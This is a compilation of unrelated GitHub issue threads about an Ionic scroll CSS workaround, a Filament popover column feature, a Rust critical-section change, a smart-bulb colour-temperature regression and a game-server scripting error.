@vinimendes3 , I think I have the same issues also, before that I haven't try on android yet. If it is the ionic issues, then you may feedback to the ionic github issues page.https://github.com/driftyco/ionic/issues. Ionic was now using the new ion-slides that support swiper http://www.idangero.us/swiper/#.Vp2l5h995o4. So at the moment, we can either roll back to version 1.1.1, waiting ionic to solve the issues or try to use the new ion-slides that support swiper features.

@vinimendes3 , I just found a quick fix here :)
in your css, you can just overwrite the ionic class...
ion-scroll{
    overflow: auto !important;
}

Until the ionic official fix is release, this is the quick solution for us now.

Amaaaaazing !
Thank you so much @Matheaw !!!
Nice quick fix until some definitive solution !!!


Missing state editing

Hello again,
i need to show the sum of some prices in the table and I would like with the popover to show a detail like a small cart.
I have multiple values and can sum properly with normal TextColumn by using formatStateUsing...
but when I use it with your package it says
Method LaraZeus\Popover\Tables\PopoverColumn::formatStateUsing does not exist.
So how can I do something similar?
Thanks

I'll see if its possible to support formatStateUsing but since you already have to use ->content() and you can pass the record, dont see a reason for formatStateUsing !

But i say about the tablet value, not the popup that i already set.

From: php coder @.>
Sent: Friday, March 8, 2024 7:48:43 PM
To: lara-zeus/popover @.>
Cc: Andrea Zanini @.>; Author @.>
Subject: Re: [lara-zeus/popover] Missing state editing (Issue #16)
I'll see if its possible to support formatStateUsing but since you already have to use ->content() and you can pass the record, dont see a reason for formatStateUsing !
—
Reply to this email directly, view it on GitHubhttps://github.com/lara-zeus/popover/issues/16#issuecomment-1986229652, or unsubscribehttps://github.com/notifications/unsubscribe-auth/AWKUNI3IFULLS746LX25SBDYXIBYXAVCNFSM6AAAAABENEHW42VHI2DSMVQWIX3LMV43OSLTON2WKQ3PNVWWK3TUHMYTSOBWGIZDSNRVGI.
You are receiving this because you authored the thread.Message ID: @.***>

ah I got you, can you test this branch see if it working
https://github.com/lara-zeus/popover/pull/17

you can update now to last version

Thank you boss❤
Zanini Andrea
Selettronica S.a.s.
via A.della Scala 74/76  37017 Lazise (VR)
Tel. 045. 575858
Fax. 045.575111
http://www.selettronica.ithttp://www.selettronica.it/

From: php coder @.>
Sent: Saturday, March 9, 2024 9:38:36 AM
To: lara-zeus/popover @.>
Cc: Andrea Zanini @.>; Author @.>
Subject: Re: [lara-zeus/popover] Missing state editing (Issue #16)
you can update now to last versionhttps://github.com/lara-zeus/popover/releases/tag/1.1.4
—
Reply to this email directly, view it on GitHubhttps://github.com/lara-zeus/popover/issues/16#issuecomment-1986795593, or unsubscribehttps://github.com/notifications/unsubscribe-auth/AWKUNI6QC44ENZPSRLINI7LYXLDAZAVCNFSM6AAAAABENEHW42VHI2DSMVQWIX3LMV43OSLTON2WKQ3PNVWWK3TUHMYTSOBWG44TKNJZGM.
You are receiving this because you authored the thread.Message ID: @.***>

Hello, sorry to say that but it seems to not be working correctly
If i put like this the title is not changed
 PopoverColumn::make('utente.name')
                    // most of filament methods will work
                    //->sortable()
                    ->prefix('€ ')->formatStateUsing(fn (string $state) => "example")
                    ->label('Totale')

while doing this correctly puts "example" as text in the view
TextColumn::make('utente.name')
                    ->sortable()->formatStateUsing(fn (string $state) => "example"),

I created pull request #18 that fixes on my side, feel free to check and edit


Use CriticalSection<'cs> instead of &'cs CriticalSection.

Fixes #7.
A CriticalSection<'cs> has a size of zero
unlike a &'cs CriticalSection, which has the size of a pointer.

bors ping


Fix loading non minimal presets

fix a small regression from webpack updates

Thanks! I made this mistake in a few other places.


5.1.0 breaks color_temp with MSL120 light bulbs

When using the service light.turn_on from my automations for hallways I pass along the color_temp during the day (setting it to dark red in the middle of the night).
When updating to 5.1.0 the lights do not turn on when the color_temp parameter is present.
Example from on of my automations:
service: light.turn_on
data:
  brightness_pct: 70
  color_temp: 475
target:
  entity_id: light.landing_light

I reverted back to 5.0.4 and the automations work fine again. I didn't see any errors when using 5.1.0, the actions performed fine, the lights just won't turn on. If you require a debug run let me know and I will update to the new version again, for now I will remain on the older.

I'm going to inspect this but I might suspect the issue lies in the fact that I've now supported the color_temp_kelvin and removed the 'saturation' to device temperature parameter limits of incoming service parameters.
It looks as if the 475 mireds are beyond the capabilities of the device and I see this log warning when trying to issue your same call:
Protocol error: namespace:Appliance.Control.Light payload:{'error': {'code': 5000, 'detail': 'Out of range. rgb value range: 0X0~0XFFFFFF, temperature range : 1~100, luminance range:1~100'}}

I'll surely patch this in order to coerce the provided mired/kelvin parameter in the service call to what the device might support

Yeah a saw it in the interfaces of the devices that kelvin is available there, but when editing the automation and using the service that parameter isn't available. And I just used the slider of the graphical editor, not quite sure what a "mired" even is tbh, but it's shifting the color temperature of the light bulbs matching the color of the slider.

Yeah..I've come to know mired with HA..it looks as if it was the original light temp unit (likely based off Philips Hue parameters)
It is just another scale and the service interface tool allows you to set either of the parameters (kelvin or mired).
After you raised the issue I've tried the service interface tool in HA and see that it doesn't clamp the sent values (while the lamp entity card instead does and everything works fine there)


Cant dynamically assign type t_multi_custom

ERROR:(spheremultis.scp,40039)Can't dynamically assign type 't_multi_custom' to an item. This type can only be specified in the TYPEDEF.
Im not really sure what this means. Maybe it has connection with some multis from custom multi, that are actring like items and GM's are able to pick it up (for example multi floor).
Ive been discussing it on DC while ago.

errors are directing on stuff like this:

fixed, thank you!


Add support for Google Cloud Storage as a backend for storing problems

The application should be able to store and retrieve from Google Cloud Storage. This will enable our API to be able to serve problems that we create.

Server moved out